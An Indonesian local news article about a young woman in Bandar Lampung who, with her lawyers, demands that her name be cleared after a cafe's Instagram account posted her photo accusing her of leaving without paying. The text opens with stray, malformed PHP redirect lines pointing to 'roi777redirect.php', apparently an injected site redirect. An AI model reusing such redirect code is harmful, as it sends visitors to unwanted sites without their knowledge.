header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); MEMINTA PEMULIHAN NAMA BAIK -
MEMINTA PEMULIHAN NAMA BAIK

TRANSLAMPUNG.COM, BANDARLAMPUNG- Dewi Ratna Sari (23) warga jalan Padat Karya, Gang Bhineka II  RT 09, Labuhan Dalam, Tanjung Senang, Bandarlampung bersama dengan penasehat hukumnya Fedli Faisal, SH.,MH., Satria Muda Sepulau Raya, SH., dan Nusantara, SH., mengadakan jumpa pers kemarin (1/3). Berkaitan dengan pencemaran nama baik yang dilakukan oleh The Coffee Pahoman yang beralamat di jalan Way Sungkai No.9, Pahoman, Bandarlampung.

Pihak Dewi meminta pemulihan nama baik atas tindakan pencemaran nama baik oleh akun instgram The Coffee Pahoman, yang memosting fotonya dengan memberi tulisan “dicari tersangka kabur tidak bayar”.

Adapun kronologi kejadian, pada tanggal (10/2) pelapor bersama rekannya datang ke Cafe The Coffee untuk memesan makan dan minum.setelah duduk cukup lama prlapor mendatangi kasir untuk minta tagihan dan membayar mengunakan debit ATM BRI. Lalu kasir mengembalikan kartu ATM BNI tersebut kepada pelapor. Pelaporpun duduk kembali di ke meja bersama teman-temannya untuk berbincang-bincang kembali, lalu pelapor dan teman-temannya pulang meninggalkan café tersebut.

Menurut keterangan dewi mengatakan ia menganggap sudah melakukan pembayaran dikarenakan kasir mengatakan sudah dibayar dan setelah itu pelapor tidak langsung pulang meninggalkan Cafe.”jika benar teran saksi tersebut gagal atau ada masalah mestinya ada yang mengasih tau atau menegur saya, karena saya masih berada di Café tersebut setelah melakukan pembayaran

Fedli Faisal, SH.,MH., Satria Muda Sepulau Raya, SH., dan Nusantara, SH., mengatakan kliennya sangat keberata dengan postingan akun instgram The Coffee Pahoman pada Sabtu (11/2), terdapat wajah pelapor dengan tulisan “di cari tersangka kabur tidak bayar”, kemudian tulisan kronologi dalam akun tersebut yang menyudutkan pelapor yang mengandung fitnah, pencemaran nama baik dan suatu penghinaan bagi pelapor.

Adapun pertimbangan harus dilakukan pembersihan nama baik menurut Fedli karena, kliennya masih muda, masih memiliki perlu mencari kerja. “karena postingan itu membuat buruk nama klien kami, contohnya saat dia sedang jalan di mall ada yang ngomongin dia dan membuat dia dipandang jelek”, Ujar Fedli.

Aldo asisten manager The Coffee Pahoman saat di Konfirmasi mengatakan, untuk saat ini ia tidak diperbolehkan bertemu dengan media dulu.”untuk memberikan keterangan atau sejenisnya mengenai hal tersebut”, Ujarnya saat dihubungi via ponselnya. (cw 25/).

News Reporter